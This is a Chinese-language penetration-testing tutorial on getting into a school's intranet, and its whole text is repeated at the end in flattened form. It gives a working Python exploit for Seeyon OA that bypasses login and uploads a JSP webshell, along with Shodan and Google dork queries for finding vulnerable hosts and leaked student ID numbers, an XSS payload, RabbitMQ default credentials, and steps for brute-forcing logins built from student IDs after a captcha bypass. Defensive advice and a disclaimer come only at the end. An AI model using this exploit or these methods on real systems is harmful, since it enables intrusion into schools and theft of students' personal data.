信息收集实战,进入某校内网
字数 1391 2025-08-22 12:22:30

校内网渗透测试实战教学文档

1. 信息收集阶段

1.1 目标选择

  • 通过补天平台选择合适的目标
  • 优先选择教育行业目标,因其安全防护相对薄弱

1.2 真实IP查找技术

1.2.1 基础方法

  • 使用nslookup命令查询目标域名
  • 示例:nslookup xxx.xxx.xxx

1.2.2 高级方法 - 证书序列号查找

  1. 访问目标网站HTTPS版本
  2. 查看证书详细信息,获取序列号
  3. 去除序列号中的冒号
  4. 将16进制序列号转换为10进制
  5. 在FOFA等平台使用cert参数搜索
    • 示例搜索语法:cert="转换后的序列号"

1.2.3 Shodan搜索漏洞

  • 使用Shodan CLI工具搜索特定IP段
  • 示例命令:
    shodan search --limit 100 --fields ip_str,port net:xxx.xxx.xxx.0/24 has_vuln:True
    
    • 参数说明:
      • --limit 100: 限制返回结果数量
      • --fields ip_str,port: 指定返回字段
      • net:xxx.xxx.xxx.0/24: 指定搜索的IP段
      • has_vuln:True: 只返回存在已知漏洞的结果

2. 资产测绘技术

2.1 工具选择

  • Quake:进行初步资产测绘
  • OneForAll:子域名收集工具

2.2 子域名收集流程

  1. 使用OneForAll收集子域名
    • 示例命令:python3 oneforall.py --target example.com run
  2. 对结果进行去重和存活检测
    • 使用工具:Windfire
  3. 二次去重处理
    • 重点关注VPN登录页面等关键子域名

2.3 IP批量解析脚本

import re
import subprocess
from urllib.parse import urlparse

def extract_domain(url):
    """从URL中提取域名,并去除端口号"""
    parsed_uri = urlparse(url)
    domain = parsed_uri.netloc.split(':')[0]
    return domain

def get_ip_from_nslookup(domain):
    """使用nslookup命令获取域名对应的IP地址"""
    try:
        nslookup_result = subprocess.check_output(['nslookup', domain], stderr=subprocess.STDOUT, text=True)
        ipv4_pattern = r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
        ipv4_addresses = []
        addresses_started = False
        for line in nslookup_result.splitlines():
            if 'Address:' in line:
                addresses_started = True
                match = re.search(ipv4_pattern, line)
                if match:
                    ipv4_addresses.append(match.group(0))
        if len(ipv4_addresses) >= 2:
            return ipv4_addresses[1]
        return None
    except subprocess.CalledProcessError as e:
        print(f"Failed to resolve domain {domain}: {e.output}")
        return None

def process_urls(input_file, output_file):
    """处理输入文件中的URL,获取IP地址,并保存到输出文件中"""
    unique_ips = set()
    with open(input_file, 'r') as file:
        for line in file:
            url = line.strip()
            if url:
                domain = extract_domain(url)
                ip_address = get_ip_from_nslookup(domain)
                if ip_address:
                    unique_ips.add(ip_address)
    with open(output_file, 'w') as file:
        for ip in unique_ips:
            file.write(ip + '\n')

# 使用方法
input_file = 'urls.txt'  # 输入文件路径
output_file = 'resolved_ips.txt'  # 输出文件路径
process_urls(input_file, output_file)

3. 敏感信息收集

3.1 Google搜索语法

  • 基础语法:
    site:.example.com filetype:xls OR filetype:xlsx intext:身份证
    site:.example.com filetype:pdf OR filetype:doc OR filetype:docx intext:身份证
    
  • 可替换关键词:
    • 身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单

3.2 常见泄露信息类型

  1. 学号信息
  2. 默认密码
  3. 教师联系方式
  4. 系统操作手册
  5. VPN配置信息

4. 漏洞利用实战

4.1 致远OA漏洞利用

  • 漏洞类型:登陆绕过+任意文件上传
  • 利用脚本:
# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile

la = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0', 'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
    random_str = ''
    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
    length = len(base_str) - 1
    for i in range(randomlength):
        random_str += base_str[random.randint(0, length)]
    return random_str

mm = generate_random_str(8)
webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'  ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)

def Seeyon_Getshell(urllist):
    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print('获取cookie成功-jsessionid')
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0', 'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\\'+filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败!')
        print('上传成功文件id为-fileid')
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址:'+webshellurl1)
        else:
            print('未找到webshell利用失败')

def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

4.2 RabbitMQ未授权访问

  • 尝试默认凭证:guest/guest
  • 检查管理界面是否存在未授权访问

4.3 XSS漏洞测试

  • 测试反射型XSS
  • 常用测试payload:
    >"'><script>alert('XSS')</script>
    

5. 弱口令攻击

5.1 学号+默认密码组合

  1. 通过信息收集获取学号列表
  2. 尝试常见默认密码:
    • 身份证后6位
    • 学号本身
    • 123456
    • 出生日期

5.2 验证码绕过

  1. 首次输入正确验证码
  2. 后续请求可跳过验证码验证
  3. 利用此漏洞进行批量爆破

6. 校园网内网渗透

6.1 登录凭证

  • 常见组合:学号+身份证后6位
  • 其他可能组合:学号+出生日期

6.2 内网资源访问

  1. 教学管理系统
  2. 学生信息数据库
  3. 财务系统
  4. 科研管理系统

7. 防御建议

7.1 针对学校的防御措施

  1. 禁用证书序列号公开查询
  2. 限制Shodan等扫描工具的访问
  3. 加强子域名管理
  4. 定期检查并删除公开的敏感信息

7.2 针对漏洞的修复方案

  1. 修复致远OA漏洞
  2. 修改RabbitMQ默认凭证
  3. 修复XSS漏洞
  4. 加强验证码机制

7.3 认证安全增强

  1. 避免使用学号+身份证等简单组合
  2. 实施多因素认证
  3. 强制密码复杂度要求
  4. 设置登录失败锁定机制

本教学文档详细记录了从信息收集到内网渗透的全过程,重点突出了教育行业系统中常见的安全漏洞和利用方法。所有技术内容仅用于安全研究和防御目的,未经授权对他人系统进行测试属于违法行为。

校内网渗透测试实战教学文档 1. 信息收集阶段 1.1 目标选择 通过补天平台选择合适的目标 优先选择教育行业目标,因其安全防护相对薄弱 1.2 真实IP查找技术 1.2.1 基础方法 使用 nslookup 命令查询目标域名 示例: nslookup xxx.xxx.xxx 1.2.2 高级方法 - 证书序列号查找 访问目标网站HTTPS版本 查看证书详细信息,获取序列号 去除序列号中的冒号 将16进制序列号转换为10进制 在FOFA等平台使用 cert 参数搜索 示例搜索语法: cert="转换后的序列号" 1.2.3 Shodan搜索漏洞 使用Shodan CLI工具搜索特定IP段 示例命令: 参数说明: --limit 100 : 限制返回结果数量 --fields ip_str,port : 指定返回字段 net:xxx.xxx.xxx.0/24 : 指定搜索的IP段 has_vuln:True : 只返回存在已知漏洞的结果 2. 资产测绘技术 2.1 工具选择 Quake:进行初步资产测绘 OneForAll:子域名收集工具 2.2 子域名收集流程 使用OneForAll收集子域名 示例命令: python3 oneforall.py --target example.com run 对结果进行去重和存活检测 使用工具:Windfire 二次去重处理 重点关注VPN登录页面等关键子域名 2.3 IP批量解析脚本 3. 敏感信息收集 3.1 Google搜索语法 基础语法: 可替换关键词: 身份证|sfz|学号|xh|登录|注册|管理|平台|验证码|账号|系统|手册|默认密码|初始密码|password|联系电话|操作手册|vpn|名单 3.2 常见泄露信息类型 学号信息 默认密码 教师联系方式 系统操作手册 VPN配置信息 4. 漏洞利用实战 4.1 致远OA漏洞利用 漏洞类型:登陆绕过+任意文件上传 利用脚本: 4.2 RabbitMQ未授权访问 尝试默认凭证:guest/guest 检查管理界面是否存在未授权访问 4.3 XSS漏洞测试 测试反射型XSS 常用测试payload: 5. 弱口令攻击 5.1 学号+默认密码组合 通过信息收集获取学号列表 尝试常见默认密码: 身份证后6位 学号本身 123456 出生日期 5.2 验证码绕过 首次输入正确验证码 后续请求可跳过验证码验证 利用此漏洞进行批量爆破 6. 校园网内网渗透 6.1 登录凭证 常见组合:学号+身份证后6位 其他可能组合:学号+出生日期 6.2 内网资源访问 教学管理系统 学生信息数据库 财务系统 科研管理系统 7. 防御建议 7.1 针对学校的防御措施 禁用证书序列号公开查询 限制Shodan等扫描工具的访问 加强子域名管理 定期检查并删除公开的敏感信息 7.2 针对漏洞的修复方案 修复致远OA漏洞 修改RabbitMQ默认凭证 修复XSS漏洞 加强验证码机制 7.3 认证安全增强 避免使用学号+身份证等简单组合 实施多因素认证 强制密码复杂度要求 设置登录失败锁定机制 本教学文档详细记录了从信息收集到内网渗透的全过程,重点突出了教育行业系统中常见的安全漏洞和利用方法。所有技术内容仅用于安全研究和防御目的,未经授权对他人系统进行测试属于违法行为。